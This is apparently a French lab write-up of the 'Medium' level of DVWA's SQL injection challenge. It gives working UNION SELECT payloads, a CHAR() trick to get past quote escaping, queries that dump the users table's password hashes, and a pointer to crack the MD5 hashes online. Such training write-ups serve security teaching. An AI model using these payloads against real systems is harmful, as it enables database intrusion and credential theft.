Niveau "Medium"
Le formulaire est légèrement modifié ici puisque l'application présente non plus un champ de type <input>
mais une liste de sƩlection <select>
:

Pour un soucis de simplicitƩ, j'utilise ici l'extension Web Developer (possible via Burp Ʃgalement) qui va convertir ce nouveau formulaire en champ de type <input>
:

Je tente d'injecter ma caractère spécial "'"
afin de gƩnƩrer une erreur SQL :

L'erreur m'informe sur la présence d'une protection car le caractère "'"
est échappé (via le caractère "\"
). De plus, l'erreur m'indique qu'il s'agit sans doute d'une injection de type numƩrique et non plus de type String (nombre de "'"
entourant notre donnƩe).
Sans reprendre toutes les étapes de reconnaissance (déjà effectuées pour le niveau "Low"), voici l'exploitation de l'injection :
1 UNION SELECT 1,2

L'échappement effectué par l'application est un peu embêtant car il m'empêche d'effectuer ma clause WHERE
:
6 UNION SELECT table_name,2 FROM INFORMATION_SCHEMA.tables WHERE TABLE_SCHEMA = 'dvwa' --

Afin de contourner cette limitation je peux, soit supprimer la clause, ce qui aura pour consƩquence de retourner une liste de toutes les tables des diffƩrentes bases, ou alors, utiliser la fonction CHAR()
de MySQL :
6 UNION SELECT table_name,2 FROM INFORMATION_SCHEMA.tables WHERE TABLE_SCHEMA = CHAR(100,118,119,97)

Maintenant que je peux contourner l'Ʃchappement en place, la suite est facile :
6 UNION SELECT column_name,2 FROM INFORMATION_SCHEMA.columns WHERE TABLE_SCHEMA = CHAR(100,118,119,97)

Puis finalement :
6 UNION SELECT user,password FROM dvwa.users

Une fois fait, la dernière étape reste de cracker les hash md5 (32 caractères) des mots de passe en utilisant par exemple crackstation.net :

Mis Ć jour